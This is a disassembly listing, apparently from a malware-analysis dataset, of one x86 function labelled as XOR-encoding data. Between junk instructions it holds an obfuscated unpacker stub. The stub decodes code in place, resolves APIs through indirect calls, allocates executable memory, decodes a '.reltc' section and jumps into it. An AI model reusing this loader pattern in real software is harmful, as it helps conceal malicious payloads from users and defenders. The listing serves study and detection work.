Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x9db46ca6
sub ecx, edi
inc edi
popal
add ecx, ecx
add ecx, ecx
mov edi, 0
mov esi, ecx
mov edx, 0x4054f75
and edx, ebx
sub ebx, 0x36f97098
mov eax, esi
add edx, 0x47589040
or edx, ebx
add edx, 0x8682615a
mov ecx, eax
sub edx, 0x530cf501
or edx, edx
not edx
add edi, 1
sub ebx, 0x15a512e6
and edx, edx
add ebx, 0x34846a72
cmp edi, 0x100aa10
jne 0xa789bf
or ebx, edx
add edx, 0xdf5fdff3
add edi, 1
inc ecx
mov ebx, 0xa78796
sub edi, ecx
mov edx, 0x1e5db3ec
mov esi, 0xa7898a
sub edx, 1
and edx, ecx
mov eax, dword [ebx]
sub edi, 0xfcac15fd
add edi, 0xb42f9aeb
and eax, 0xff
or edx, ecx
add ecx, 0xbbd13c30
not edx
xor dword [esi], eax
mov edi, 0xba37a3c8
sub edx, 0x4478f2cb
add esi, 1
add ecx, edi
or ecx, edx
sub edx, 0xf56b281f
inc ebx
mov ecx, 0xe09820b8
mov edx, edi
mov edi, ecx
cmp esi, entry0
jl 0xa78a32
add edx, edi
sub ecx, 0x16259f8a
sub edx, ecx
mov ecx, 0xe573ac23
and ecx, edx
inc edi
add ebx, 0x2f1201d2
mov ecx, ebx
mov edx, 0xa7898e
not esi
dec ecx
mov edx, dword [edx]
inc esi
add esi, edi
add edi, ecx
mov edx, dword [edx]
sub edi, 1
and esi, esi
add esi, 0xee5bccab
push edx
inc ecx
mov ebx, 0x20e8a2d8
add ebx, 0x562988a1
mov edx, 0xa7898a
mov edi, 0xc53f4ee6
add edi, ecx
sub esi, 0xbade2a79
mov edx, dword [edx]
sub ebx, 1
add ecx, esi
mov edx, dword [edx]
sub edi, ebx
or esi, esi
sub edi, 1
push 0xa78992
mov edi, 0x4b97fd2b
add edi, 1
mov edi, 0x2ae19f49
call edx
and ecx, esi
or esi, ecx
pop edx
and ecx, ecx
sub ebx, 0xbfa8dcf4
push 0xa7899f
add ecx, ebx
add ecx, 0x714c73af
dec ecx
push eax
add edi, 0x278c350e
mov ecx, edi
sub ebx, 0x8dd1c118
call edx
inc edi
or ebx, edi
sub esp, 4
mov dword [esp], 0x40
mov ebx, 0xbab3ae5e
add ecx, esi
sub edi, ebx
sub esp, 4
mov dword [esp], 0x3000
add ecx, edi
not edi
mov ecx, ebx
push 0x20000d1f
inc edi
or ebx, ecx
or edi, ecx
push 0
add ebx, ecx
not ecx
call eax
not esi
mov ecx, 0x658f96df
and ecx, esi
add eax, 0x20000c6b
inc ecx
not edi
dec edi
mov edx, 0xf601e4ea
mov ecx, ebx
sub ecx, 0xbba40531
sub ebx, 1
mov dword [eax], edx
mov ecx, edi
add ecx, ecx
mov edx, dword [eax]
mov ecx, 0x24ec94ba
not ecx
cmp edx, 0xf601e4ea
je 0xa78bb3
mov ecx, 0
mov dl, byte [ecx]
add esi, ecx
or ebx, ebx
add ecx, ebx
not ecx
mov ebx, ecx
sub ecx, edi
and edi, edi
mov ebx, section..reltc
and ecx, ecx
sub edi, 0x43bcdcb
mov edi, 0xd93fb733
mov esi, 0xa78795
and edi, ecx
mov edi, ecx
add edi, edi
mov eax, 0
sub ecx, edi
sub edi, ecx
add ecx, 1
mov edx, 0xa78796
or edi, edi
and ecx, ecx
lea edx, [eax + edx]
add ecx, 0xb12b3b86
or edi, edi
mov edx, dword [edx]
mov edi, 0xf8ca2f5a
dec edi
mov edi, 0xa4508df1
and edx, 0xff
add edi, 0x75e70636
not ecx
sub edi, 0x2d62d58d
inc eax
inc edi
sub ecx, 0xb1fc8ea5
cmp eax, 0x1f4
jne 0xa78c37
mov eax, 0
sub edi, ecx
mov ecx, 0xbba7b71b
not ecx
not ecx
not edi
xor dword [ebx], edx
add edi, 0x7ba44c54
mov edi, ecx
not ecx
add ebx, 2
and ecx, ecx
add edi, edi
add edi, 0x86a1c1a
cmp ebx, esi
jl 0xa78bed
dec edi
or ecx, edi
inc ecx
sub edi, 1
mov ecx, section..reltc
sub eax, 0x25a09e2d
add eax, eax
mov esi, section..reltc
not eax
inc eax
sub edx, eax
mov edi, 0xa78795
dec edx
not eax
mov ebx, 0
not edx
and edx, edx
mov bl, byte [esi]
sub eax, 0x908ac017
add edx, 0x258b4caf
mov byte [ecx], bl
mov eax, edx
mov edx, 0x53e641e3
inc ecx
dec eax
mov edx, 0x42f948d6
sub edx, eax
add esi, 2
sub edx, eax
mov eax, edx
cmp esi, edi
jle 0xa78c9a
sub edx, 0xd2933a4d
add eax, edx
add eax, 0xb86e344f
or edi, edi
inc edi
or ecx, edi
push 0x8dc6a0
mov ecx, 0x7e794631
sub ecx, edi
sub ecx, edi
ret